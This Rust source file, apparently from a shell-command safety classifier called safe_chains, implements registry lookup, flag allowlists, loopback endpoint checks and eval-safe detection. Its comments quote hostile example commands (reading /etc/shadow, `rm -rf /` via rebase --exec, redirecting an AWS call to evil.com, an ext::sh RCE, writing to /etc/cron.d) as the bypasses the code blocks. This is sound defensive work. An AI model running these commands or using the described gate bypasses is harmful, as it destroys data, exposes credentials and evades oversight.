Skip to main content

safe_chains/registry/
mod.rs

1mod build;
2mod custom;
3mod dispatch;
4mod docs;
5mod policy;
6pub(crate) mod types;
7
8use std::collections::HashMap;
9use std::sync::LazyLock;
10
11use crate::parse::Token;
12use crate::verdict::Verdict;
13
14pub use build::{build_registry, load_toml};
15pub(crate) use custom::user_config_level;
16pub use dispatch::dispatch_spec;
17pub use types::{CommandSpec, OwnedPolicy};
18
19use types::DispatchKind;
20
21type HandlerFn = fn(&[Token]) -> Verdict;
22
23static CMD_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
24    LazyLock::new(crate::handlers::custom_cmd_handlers);
25
26static SUB_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
27    LazyLock::new(crate::handlers::custom_sub_handlers);
28
29static TOML_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(||
30    include!(concat!(env!("OUT_DIR"), "/toml_includes.rs"))
31);
32
33static CUSTOM_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| {
34    let mut map = HashMap::new();
35    custom::apply_custom(&mut map);
36    map
37});
38
39pub fn toml_dispatch(tokens: &[Token]) -> Option<Verdict> {
40    let cmd = tokens[0].command_name();
41    TOML_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
42}
43
44/// Looks up the command in the runtime custom registry (project-local
45/// `.safe-chains.toml`, then user-level `~/.config/safe-chains.toml`).
46/// A match here wins over the built-in hardcoded handlers, which is how
47/// an override of `gh` takes effect.
48pub fn custom_dispatch(tokens: &[Token]) -> Option<Verdict> {
49    let cmd = tokens[0].command_name();
50    CUSTOM_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
51}
52
53/// The canonical command name `cmd` resolves to via the registry's alias map (`gcat` → `cat`,
54/// `glink` → `ln`). Returns `cmd` unchanged when it is already canonical or unknown, so callers
55/// can canonicalize unconditionally. This is what lets the engine's path-gate dispatch reach an
56/// aliased invocation: without it, `gcat /etc/shadow` misses every resolver and falls through to
57/// the (ungated) legacy classifier. Custom registry first (an override may rename), then TOML.
58pub fn canonical_name(cmd: &str) -> &str {
59    CUSTOM_REGISTRY
60        .get(cmd)
61        .or_else(|| TOML_REGISTRY.get(cmd))
62        .map_or(cmd, |spec| spec.name.as_str())
63}
64
65/// The command's own declared path-argument gate (`[command.path_gate]`), if any — consulted by
66/// `pathgate::should_deny` when a command isn't in `pathgates.toml`, so a path-bearing flag gates
67/// from the command's own definition. `cmd` is already canonicalized by the caller.
68pub(crate) fn command_path_gate(cmd: &str) -> Option<&'static crate::pathgate::RoleSpec> {
69    CUSTOM_REGISTRY
70        .get(cmd)
71        .or_else(|| TOML_REGISTRY.get(cmd))
72        .and_then(|spec| spec.path_gate.as_ref())
73}
74
75/// The command's declarative facet behavior (`[command.behavior]`), if any — the engine's
76/// non-legacy classification path and the ONLY thing `engine::resolve::resolve` consults (the
77/// hardcoded `RESOLVERS` table is gone; every facet-classified command declares behavior).
78/// `cmd` is already canonicalized by the caller.
79pub(crate) fn command_behavior(cmd: &str) -> Option<&'static crate::registry::types::BehaviorSpec> {
80    CUSTOM_REGISTRY
81        .get(cmd)
82        .or_else(|| TOML_REGISTRY.get(cmd))
83        .and_then(|spec| spec.behavior.as_ref())
84}
85
86/// What `cmd`'s stdout can name, when that has been researched and declared (`[command.output]`).
87/// `None` — the default for every command — keeps a `$(cmd …)` unpinnable.
88pub(crate) fn command_output_locus(cmd: &str) -> Option<&'static crate::registry::types::OutputSpec> {
89    CUSTOM_REGISTRY
90        .get(cmd)
91        .or_else(|| TOML_REGISTRY.get(cmd))
92        .and_then(|spec| spec.output.as_ref())
93}
94
95/// The facet archetypes (`archetypes.toml`) the subcommand `tokens` resolve to — the Phase-1
96/// `profile = …` classification plus a capability for every present escalating `[[command.sub.flag]]`
97/// (`git push` → `[vcs-sync]`; `git push --force` → `[vcs-sync, remote-destroy-irreversible]`). The
98/// engine emits a Capability per name and the level algebra takes the max. Descends `Branching`/
99/// `Custom` subs to the DEEPEST profile-bearing sub (nested `<resource> <action>`). `None` when no
100/// matched sub declares a profile.
101pub(crate) fn sub_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
102    let cmd = canonical_name(tokens.first()?.command_name());
103    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
104    let sub = walk_to_profiled_sub(&tokens[1..], &spec.kind)?;
105    let mut out = vec![sub.profile.as_deref()?];
106    for flag in &sub.flags {
107        if flag_escalates(tokens, flag) {
108            out.push(flag.classifies.as_str());
109        }
110    }
111    // The profile fixes the TIER; it must not also decide what is ADMISSIBLE. Without this the
112    // archetype path bypassed the flag allowlist entirely and any flag rode along on the base
113    // profile — `git rebase --exec 'rm -rf /'` classified as an ordinary rebase. `unclassified` is
114    // the sanctioned fail-closed marker: it resolves to no archetype, so the engine emits a worst
115    // capability and the invocation denies.
116    if presents_unlisted_flag(tokens, sub) {
117        out.push("unclassified");
118    }
119    Some(out)
120}
121
122/// Whether an invocation admitted by a `first_arg` GLOB carries a flag the family never declared.
123///
124/// The glob path used to allow on the strength of the first positional alone and never look at the
125/// remaining tokens, so `aws kms get-public-key --endpoint-url http://evil.com` classified as an
126/// ordinary read while redirecting an authenticated call to an arbitrary host. The verb claim
127/// (`get-*` means read) is sound and stays; the flags are what needed a list.
128///
129/// An UNDECLARED family (both lists empty) keeps the old permissive behavior — the 240-odd AWS
130/// service groups cannot be researched at once, and denying them wholesale would break every AWS
131/// read. `no_new_unresearched_first_arg_family` in `tests.rs` pins the un-migrated set so the pile
132/// cannot grow.
133///
134/// Non-flag tokens pass: some glob families take positionals (`kubectl get pods`), and the sensitive
135/// ones are already caught earlier by `credential_first_arg`.
136pub(super) fn glob_presents_unlisted_flag(
137    tokens: &[Token],
138    skip: usize,
139    standalone: &[String],
140    valued: &[String],
141    loopback_valued: &[String],
142) -> bool {
143    if standalone.is_empty() && valued.is_empty() && loopback_valued.is_empty() {
144        return false;
145    }
146    let known =
147        |f: &str| standalone.iter().any(|a| a == f) || valued.iter().any(|a| a == f);
148    for (idx, t) in tokens.iter().enumerate().skip(skip) {
149        let s = t.as_str();
150        if s == "--" {
151            break;
152        }
153        if !s.starts_with('-') || s == "-" {
154            continue;
155        }
156        let head = s.split_once('=').map_or(s, |(f, _)| f);
157        // A loopback-gated flag is admitted only when its VALUE names this machine. `--endpoint-url
158        // http://localhost:8000` is a developer talking to their own service; the same flag pointed
159        // anywhere else redirects an authenticated request. A missing value denies — the flag is
160        // meaningless without one and guessing would be the fail-open direction.
161        if loopback_valued.iter().any(|a| a == head) {
162            let value = match s.split_once('=') {
163                Some((_, v)) => Some(v),
164                None => tokens.get(idx + 1).map(Token::as_str),
165            };
166            if value.is_some_and(crate::netloc::is_loopback) {
167                continue;
168            }
169            return true;
170        }
171        if known(head) {
172            continue;
173        }
174        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
175            continue;
176        }
177        return true;
178    }
179    false
180}
181
182/// Whether `tokens` carry a flag the profiled `sub` does not declare. Mirrors the legacy flag walk:
183/// `--long` matched whole or as `--long=value`, single-dash tokens split into clustered shorts, `--`
184/// ends the flag region. A sub that declares NO flags at all is treated as "not yet enumerated"
185/// rather than "nothing permitted", so this tightens only where a list exists — the global
186/// enforcement of the empty case is staged separately (see the backfill guard).
187fn presents_unlisted_flag(tokens: &[Token], sub: &types::SubSpec) -> bool {
188    // A flag declared as an escalating `[[command.sub.flag]]` IS declared — it just carries a
189    // capability rather than sitting on the plain allowlist. Omitting it here would deny the very
190    // invocations the escalation exists to classify (`npm ci --ignore-scripts`, whose whole point is
191    // that its PRESENCE is the safe form).
192    let known = |f: &str| {
193        sub.allowed_standalone.iter().any(|a| a == f)
194            || sub.allowed_valued.iter().any(|a| a == f)
195            || sub.flags.iter().any(|d| d.name == f)
196            // An output-path flag is declared too — it names the write destination the engine
197            // path-gates (`supabase db dump -f dump.sql`), so it is admissible by construction.
198            || sub.output_path_flags.iter().any(|a| a == f)
199            || sub.destination_flag.as_deref() == Some(f)
200    };
201    for (idx, t) in tokens.iter().enumerate().skip(1) {
202        let s = t.as_str();
203        if s == "--" {
204            break;
205        }
206        if !s.starts_with('-') || s == "-" {
207            continue;
208        }
209        let head = s.split_once('=').map_or(s, |(f, _)| f);
210        // An endpoint flag is admitted only when it names THIS machine — see the identical rule on
211        // the glob path in `glob_presents_unlisted_flag`.
212        if sub.loopback_valued.iter().any(|a| a == head) {
213            let value = match s.split_once('=') {
214                Some((_, v)) => Some(v),
215                None => tokens.get(idx + 1).map(Token::as_str),
216            };
217            if value.is_some_and(crate::netloc::is_loopback) {
218                continue;
219            }
220            return true;
221        }
222        if known(head) {
223            continue;
224        }
225        // An explicitly declared tolerance keeps the sub open for the shape it names — the
226        // established way to say "this surface is genuinely unbounded" (a cloud API's per-service
227        // options). Declared in the TOML, so it is reviewable, unlike the silent default it replaces.
228        use crate::policy::UnknownTolerance as U;
229        let tolerated = if s.starts_with("--") {
230            matches!(sub.allowed_unknown, U::Long | U::Both)
231        } else {
232            matches!(sub.allowed_unknown, U::Short | U::Both)
233        };
234        if tolerated {
235            continue;
236        }
237        // A single-dash multi-char token may be clustered shorts (`-abc` = `-a -b -c`).
238        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
239            continue;
240        }
241        return true;
242    }
243    false
244}
245
246/// The facet archetypes a flat command's PRESENT top-level classifying flags (`[[command.flag]]`)
247/// resolve to — the command-level analog of `sub_archetypes` for a flag-triggered mode (`age -d` →
248/// `[decrypt-read]`, `sops --decrypt` → `[decrypt-read]`). `None` when the command declares none or
249/// none are present, so `engine::resolve` falls through to the command's ordinary resolution (the
250/// bare/encrypt form of a bimodal tool). Uses the same `flag_escalates` predicate as the sub flags.
251pub(crate) fn command_flag_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
252    let cmd = canonical_name(tokens.first()?.command_name());
253    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
254    let present: Vec<&'static str> = spec
255        .archetype_flags
256        .iter()
257        .filter(|f| flag_escalates(tokens, f))
258        .map(|f| f.classifies.as_str())
259        .collect();
260    (!present.is_empty()).then_some(present)
261}
262
263/// Whether `flag` escalates given `tokens`. A bare flag (no `value_prefix`) escalates on presence; a
264/// value-matched flag escalates only when its VALUE starts with the prefix — the space form
265/// (`-c core.sshCommand=…`) or the glued form (`--flag=core.sshCommand=…`). Scans the whole line;
266/// an escalator counts wherever it sits.
267fn flag_escalates(tokens: &[Token], flag: &types::FlagProvenance) -> bool {
268    if flag.when_absent {
269        // A SAFETY flag whose ABSENCE is the escalation (`npm ci` without `--ignore-scripts`).
270        // It must be AFFIRMATIVELY set — `--ignore-scripts=false` / `--no-ignore-scripts` re-ENABLE
271        // scripts, so they escalate exactly like the flag being missing (a fail-open otherwise).
272        return !flag_is_affirmatively_set(tokens, &flag.name);
273    }
274    let Some(prefix) = flag.value_prefix.as_deref() else {
275        return flag_present(tokens, &flag.name);
276    };
277    // space form: `NAME VALUE`, VALUE starting with the prefix
278    tokens.windows(2).any(|w| w[0].as_str() == flag.name && w[1].as_str().starts_with(prefix))
279        // glued form: `NAME=VALUE`, VALUE starting with the prefix
280        || tokens.iter().any(|t| {
281            t.as_str()
282                .strip_prefix(flag.name.as_str())
283                .and_then(|r| r.strip_prefix('='))
284                .is_some_and(|v| v.starts_with(prefix))
285        })
286}
287
288/// Whether a boolean flag is AFFIRMATIVELY enabled: bare `--flag`, or `--flag=<truthy>`. A
289/// `--flag=false/0/no/off` or a `--no-flag` DISABLES it (returns false), as does absence. Last
290/// occurrence wins, the CLI convention. Used by the `when_absent` escalator so a re-enabling spelling
291/// can't masquerade as the safety flag being set.
292fn flag_is_affirmatively_set(tokens: &[Token], flag: &str) -> bool {
293    let neg = format!("--no-{}", flag.trim_start_matches('-'));
294    let mut set = false;
295    for t in tokens {
296        let s = t.as_str();
297        if s == flag {
298            set = true;
299        } else if let Some(v) = s.strip_prefix(flag).and_then(|r| r.strip_prefix('=')) {
300            set = !matches!(v.to_ascii_lowercase().as_str(), "false" | "0" | "no" | "off" | "");
301        } else if s == neg {
302            set = false;
303        }
304    }
305    set
306}
307
308fn walk_to_profiled_sub(
309    remaining: &[Token],
310    kind: &'static DispatchKind,
311) -> Option<&'static types::SubSpec> {
312    let subs = match kind {
313        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
314        _ => return None,
315    };
316    let arg = remaining.first()?;
317    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
318    // Deepest profiled match wins: a nested action's profile overrides its resource sub's.
319    walk_to_profiled_sub(&remaining[1..], &sub.kind).or_else(|| sub.profile.is_some().then_some(sub))
320}
321
322/// Like `walk_to_profiled_sub`, but also returns the tokens AFTER the matched sub's name — the
323/// operands the engine still needs to inspect (the destination positional, for `network_destination`).
324fn walk_to_profiled_sub_rest<'a>(
325    remaining: &'a [Token],
326    kind: &'static DispatchKind,
327) -> Option<(&'static types::SubSpec, &'a [Token])> {
328    let subs = match kind {
329        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
330        _ => return None,
331    };
332    let arg = remaining.first()?;
333    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
334    let rest = &remaining[1..];
335    walk_to_profiled_sub_rest(rest, &sub.kind).or_else(|| sub.profile.is_some().then_some((sub, rest)))
336}
337
338/// For a profiled sub declaring `network_destination`, the first positional after it — the send
339/// TARGET (`git push origin` → `origin`; bare `git push` → `None`, the configured default). `None`
340/// (outer) when the resolved sub does not classify a destination. The engine maps the token's
341/// PROVENANCE onto `locus.provenance` (`resolve::destination_provenance`).
342///
343/// "First non-`-` token" is a heuristic: a VALUED flag's value sitting before the target
344/// (`git push -o $VAR origin`) is read as the destination. That only ever misreads CONSERVATIVELY —
345/// a stray value classifies to `literal`/`opaque` (equal-or-stricter than the real `established`
346/// target), never looser — so it can over-deny a rare form but never under-approve.
347pub(crate) fn sub_destination_token(tokens: &[Token]) -> Option<Option<&str>> {
348    let cmd = canonical_name(tokens.first()?.command_name());
349    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
350    let (sub, rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
351    if !sub.network_destination {
352        return None;
353    }
354    // A destination-carrying flag (`git push --repo=<dest>`) OVERRIDES the positional — else a
355    // `--repo=ext::sh` RCE would slip past a benign positional (`origin`). Scanned across the whole
356    // line since the flag may sit anywhere.
357    if let Some(flag) = sub.destination_flag.as_deref()
358        && let Some(v) = flag_value(tokens, flag)
359    {
360        return Some(Some(v));
361    }
362    Some(rest.iter().map(Token::as_str).find(|t| !t.starts_with('-')))
363}
364
365/// A flag's value, but only from the FLAG REGION — tokens after a `--` terminator are positionals,
366/// not flags.
367///
368/// Used where finding a value makes the classification MORE PERMISSIVE, which is where a
369/// disagreement with the tool costs something. `presents_unlisted_flag` already stops at `--`, so
370/// without this the two layers disagreed: `put-item ... -- --endpoint-url http://localhost:8000`
371/// passed admission (the walk never saw the flag) AND localized (the value lookup did), classifying
372/// a call to the real service as a write to this machine.
373///
374/// The restrictive lookups deliberately do NOT use this. For `output_path_flags`, finding a path
375/// ADDS a path-gated write capability, so scanning past `--` errs toward more gating; switching
376/// them here would relax them. Each direction fails closed, which is why the asymmetry stands.
377fn flag_value_in_flag_region<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
378    let end = tokens.iter().position(|t| t.as_str() == "--").unwrap_or(tokens.len());
379    flag_value(&tokens[..end], flag)
380}
381
382/// A flag's value, glued (`--repo=VALUE`) or space-separated (`--repo VALUE`); `None` if absent.
383/// Scans the WHOLE token list — see `flag_value_in_flag_region` for the `--`-aware variant and why
384/// only the permissive callers use it.
385fn flag_value<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
386    if let Some(v) = tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).and_then(|r| r.strip_prefix('='))) {
387        return Some(v);
388    }
389    tokens.windows(2).find(|w| w[0].as_str() == flag).map(|w| w[1].as_str())
390}
391
392/// For a profiled `data-export` sub declaring `output_path_flags`, the output-file PATH one of them
393/// carries — or `None` when the export streams to stdout (no output flag present). The engine adds a
394/// path-gated write capability at this path's locus, so a dump to `/etc/cron.d/job` gates on locus
395/// exactly as a redirect there would. `None` (outer) when the resolved sub declares none.
396///
397/// Values are matched in every spelling the flag admits: `--file=X`, `--file X`, `-f X`, `-f=X`, and
398/// the glued short form `-fX` — the last mustn't be a bypass (`-f/etc/cron.d/job` reaching a system
399/// path would otherwise drop the write cap and auto-approve). A bare `-f` with no value is a
400/// malformed invocation the tool itself rejects, so a `None` there is harmless.
401/// Whether this invocation's declared endpoint flag names THIS machine, so `resolve` should clear
402/// the facets the destination determines. `false` covers "no endpoint flag", "points elsewhere",
403/// and "the sub never opted in".
404///
405/// Returning `false` for a non-loopback value is what keeps this independent of the admission
406/// check: even if `presents_unlisted_flag` were bypassed, the remote facets would still be the ones
407/// that classify.
408pub(crate) fn sub_loopback_localizes(tokens: &[Token]) -> bool {
409    let Some(cmd) = tokens.first().map(|t| canonical_name(t.command_name())) else {
410        return false;
411    };
412    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
413        return false;
414    };
415    let Some((sub, _rest)) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind) else {
416        return false;
417    };
418    sub.loopback_effect == types::LoopbackEffect::Localizes
419        && sub
420            .loopback_valued
421            .iter()
422            .filter_map(|f| flag_value_in_flag_region(tokens, f))
423            .any(crate::netloc::is_loopback)
424}
425
426pub(crate) fn sub_output_path_token(tokens: &[Token]) -> Option<&str> {
427    let cmd = canonical_name(tokens.first()?.command_name());
428    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
429    let (sub, _rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
430    sub.output_path_flags.iter().find_map(|f| output_flag_value(tokens, f))
431}
432
433/// `flag_value`, plus the glued short form `-fVALUE` (a two-char `-x` flag with the value fused on).
434/// Kept separate from `flag_value` because a glued short is only unambiguous for the single-letter
435/// output flags this classifies (`-f`, `-r`); the destination-flag path (`--repo`) never needs it.
436fn output_flag_value<'a>(tokens: &'a [Token], flag: &'a str) -> Option<&'a str> {
437    if let Some(v) = flag_value(tokens, flag) {
438        return Some(v);
439    }
440    if flag.len() == 2 && flag.starts_with('-') && !flag.starts_with("--") {
441        return tokens
442            .iter()
443            .find_map(|t| t.as_str().strip_prefix(flag).filter(|r| !r.is_empty()));
444    }
445    None
446}
447
448/// Whether `flag` appears anywhere in `tokens` — bare (`--force`), glued (`--flag=v`), or, for a SHORT
449/// single-char flag (`-d`), hidden inside a short CLUSTER (`-da`, `-vd`) for tools that combine short
450/// options. A flag is an escalator wherever it sits, so this scans the whole line. The flag ALLOWLIST
451/// cluster-expands, so this must too — otherwise a cluster admits the command while the classifier
452/// misses the dangerous flag inside it (a classifier/allowlist disagreement; a live bypass for any
453/// clustering tool with a classifying short flag).
454fn flag_present(tokens: &[Token], flag: &str) -> bool {
455    // A `-X` short flag (exactly two chars, leading `-`) can appear in a cluster; `--long` cannot.
456    let short_char = (flag.len() == 2 && flag.as_bytes()[0] == b'-').then(|| flag.as_bytes()[1]);
457    tokens.iter().any(|t| {
458        let s = t.as_str();
459        if s == flag || s.strip_prefix(flag).is_some_and(|rest| rest.starts_with('=')) {
460            return true;
461        }
462        // Short cluster `-<letters>` (single dash, not `--`): scan only the boolean-letter run BEFORE
463        // any `=value`, so a glued value (`-o=decrypted`) can't spuriously match the flag char.
464        matches!(short_char, Some(c)
465            if s.len() > 1 && s.as_bytes()[0] == b'-' && s.as_bytes()[1] != b'-'
466            && s[1..].split('=').next().is_some_and(|run| run.as_bytes().contains(&c)))
467    })
468}
469
470pub fn toml_command_names() -> Vec<&'static str> {
471    TOML_REGISTRY
472        .keys()
473        .map(|k| k.as_str())
474        .collect()
475}
476
477/// Every command's canonical name with its declared `examples_safe` / `examples_denied`
478/// — the corpus the engine's never-looser corpus gate runs against.
479#[cfg(test)]
480pub(crate) fn corpus_examples()
481-> Vec<(&'static str, &'static [String], &'static [String])> {
482    TOML_REGISTRY
483        .iter()
484        .map(|(name, spec)| {
485            (name.as_str(), spec.examples_safe.as_slice(), spec.examples_denied.as_slice())
486        })
487        .collect()
488}
489
490/// Look up `cmd_name`'s TOML-declared subs (set via `[[command.sub]]`
491/// blocks alongside `handler = "..."`) and dispatch the one whose name
492/// matches `tokens[1]`. Returns `None` if no sub matched, so the
493/// handler can fall through to its fallback grammar (or deny).
494pub fn try_sub_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
495    let spec = handler_spec(cmd_name)?;
496    let DispatchKind::Custom { subs, .. } = &spec.kind else {
497        return None;
498    };
499    let arg = tokens.get(1)?.as_str();
500    let sub = subs.iter().find(|s| s.name == arg)?;
501    Some(dispatch::dispatch_sub_kind(&tokens[1..], &sub.kind))
502}
503
504/// Apply `cmd_name`'s TOML-declared `[command.fallback]` grammar.
505/// Returns `None` if no fallback is declared.
506pub fn try_fallback_grammar(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
507    let spec = handler_spec(cmd_name)?;
508    let DispatchKind::Custom { fallback, .. } = &spec.kind else {
509        return None;
510    };
511    let f = fallback.as_ref()?;
512    Some(dispatch::dispatch_fallback(tokens, f))
513}
514
515/// Dispatch `tokens` against `cmd_name`'s `[[command.matrix]]`
516/// blocks. Looks at `tokens[1]` (parent) and `tokens[2]` (action),
517/// finds the first matrix whose `parents` contains the parent and
518/// whose `actions` map contains the action, then validates
519/// `tokens[2..]` against the named policy (and a guard flag if the
520/// matrix entry declared one). Returns `None` if no matrix matched —
521/// the handler can then fall through to its remaining special cases
522/// or deny.
523pub fn try_matrix_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
524    let spec = handler_spec(cmd_name)?;
525    let DispatchKind::Custom { matrices, handler_policies, .. } = &spec.kind else {
526        return None;
527    };
528    let parent = tokens.get(1)?.as_str();
529    let action = tokens.get(2)?.as_str();
530    for matrix in matrices {
531        if !matrix.parents.iter().any(|p| p == parent) {
532            continue;
533        }
534        let Some(action_spec) = matrix.actions.get(action) else { continue; };
535        if let Some(long) = action_spec.guard.as_deref()
536            && !crate::parse::has_flag(&tokens[2..], action_spec.guard_short.as_deref(), Some(long))
537        {
538            return Some(Verdict::Denied);
539        }
540        let Some(policy) = handler_policies.get(&action_spec.policy_key) else {
541            return Some(Verdict::Denied);
542        };
543        return Some(dispatch::dispatch_matrix_action(&tokens[2..], policy, matrix.level));
544    }
545    None
546}
547
548/// Validate `tokens` against `cmd_name`'s named flag policy declared
549/// in a `[command.handler_policy.KEY]` block. Returns `false` if no
550/// such policy is declared or the tokens fail it. Used by handlers
551/// whose dispatch logic genuinely can't move to TOML (e.g. gh's
552/// sub × action matrix) but whose per-policy WordSets should live
553/// in TOML rather than as Rust `WordSet` constants.
554pub fn check_handler_policy(cmd_name: &str, key: &str, tokens: &[Token]) -> bool {
555    let Some(spec) = handler_spec(cmd_name) else { return false; };
556    let DispatchKind::Custom { handler_policies, .. } = &spec.kind else {
557        return false;
558    };
559    let Some(policy) = handler_policies.get(key) else { return false; };
560    dispatch::check_handler_policy_owned(tokens, policy)
561}
562
563fn handler_spec(cmd_name: &str) -> Option<&'static CommandSpec> {
564    CUSTOM_REGISTRY
565        .get(cmd_name)
566        .or_else(|| TOML_REGISTRY.get(cmd_name))
567}
568
569/// Returns true iff this invocation is tagged eval-safe — meaning its
570/// stdout is documented shell-init code that can safely be substituted
571/// inside `eval "$(...)"`.
572///
573/// The walker descends through `DispatchKind::Branching` AND
574/// `DispatchKind::Custom` matching subs token-by-token (handler-based
575/// commands such as `gh` can have tagged TOML-declared subs even though
576/// the handler does the actual dispatch). The leaf is the deepest matched
577/// node (where no further sub matches). `eval_safe` is checked only at
578/// the leaf — ancestor tags do NOT propagate. After confirming the leaf
579/// is tagged, every `-`-prefixed token in the remaining tail must appear
580/// in `eval_safe_flags`; positionals are unrestricted.
581///
582/// Tagged nodes are vetted manually per-command (see SAMPLE.toml). This
583/// function does not validate that `tokens` is syntactically allowed —
584/// callers must have already passed it through the regular dispatcher.
585pub fn is_eval_safe_invocation(tokens: &[Token]) -> bool {
586    if tokens.is_empty() {
587        return false;
588    }
589    let cmd = tokens[0].command_name();
590    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
591        return false;
592    };
593    is_eval_safe_for_spec(spec, tokens)
594}
595
596/// Spec-local variant used by tests so they can build a `CommandSpec`
597/// via `load_toml` and exercise the walker without touching the global
598/// `TOML_REGISTRY`.
599pub(crate) fn is_eval_safe_for_spec(spec: &CommandSpec, tokens: &[Token]) -> bool {
600    if tokens.is_empty() {
601        return false;
602    }
603    walk_to_eval_safe_leaf(
604        &tokens[1..],
605        &spec.kind,
606        spec.eval_safe,
607        &spec.eval_safe_flags,
608        &spec.eval_safe_flag_values,
609        &spec.eval_safe_required_flags,
610    )
611}
612
613fn walk_to_eval_safe_leaf(
614    remaining: &[Token],
615    kind: &DispatchKind,
616    eval_safe: bool,
617    eval_safe_flags: &[String],
618    eval_safe_flag_values: &std::collections::HashMap<String, Vec<String>>,
619    eval_safe_required_flags: &[String],
620) -> bool {
621    let subs_opt = match kind {
622        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => Some(subs),
623        _ => None,
624    };
625    if let Some(subs) = subs_opt
626        && let Some(arg) = remaining.first()
627        && let Some(sub) = subs.iter().find(|s| s.name == arg.as_str())
628    {
629        return walk_to_eval_safe_leaf(
630            &remaining[1..],
631            &sub.kind,
632            sub.eval_safe,
633            &sub.eval_safe_flags,
634            &sub.eval_safe_flag_values,
635            &sub.eval_safe_required_flags,
636        );
637    }
638    if !eval_safe {
639        return false;
640    }
641    let mut i = 0;
642    let mut seen_required = false;
643    while i < remaining.len() {
644        let s = remaining[i].as_str();
645        if !s.starts_with('-') {
646            i += 1;
647            continue;
648        }
649        let (bare, eq_value) = match s.split_once('=') {
650            Some((k, v)) => (k, Some(v)),
651            None => (s, None),
652        };
653        if !eval_safe_flags.iter().any(|f| f == bare) {
654            return false;
655        }
656        if eval_safe_required_flags.iter().any(|f| f == bare) {
657            seen_required = true;
658        }
659        if let Some(allowed) = eval_safe_flag_values.get(bare) {
660            // Valued flag declared in eval_safe_flag_values. The value
661            // arrives either as `--flag=VALUE` (eq_value is Some) or as
662            // the next token (`--flag VALUE`); either way the walker
663            // consumes it because a flag in eval_safe_flag_values is
664            // structurally valued.
665            //
666            // `allowed` empty = explicit-unrestricted: contributor
667            // vetted that any bare-literal value preserves shell-init
668            // output. Non-empty = value must appear in the allowlist.
669            let value: &str = if let Some(v) = eq_value {
670                v
671            } else if let Some(next) = remaining.get(i + 1) {
672                let v = next.as_str();
673                i += 1;
674                v
675            } else {
676                return false;
677            };
678            // Empty value is denied even under the explicit-
679            // unrestricted (`= []`) posture: `--flag=` and an empty
680            // following token never represent a meaningful tool
681            // argument. The bare-literal alphabet check is per-char
682            // and vacuously passes empty strings, so the walker
683            // has to reject explicitly.
684            if value.is_empty() {
685                return false;
686            }
687            if !allowed.is_empty() && !allowed.iter().any(|av| av == value) {
688                return false;
689            }
690        }
691        i += 1;
692    }
693    if !eval_safe_required_flags.is_empty() && !seen_required {
694        return false;
695    }
696    true
697}
698
699pub fn toml_command_docs() -> Vec<crate::docs::CommandDoc> {
700    TOML_REGISTRY
701        .iter()
702        .filter(|(key, spec)| *key == &spec.name)
703        .map(|(_, spec)| spec.to_command_doc())
704        .collect()
705}
706
707#[cfg(test)]
708mod tests;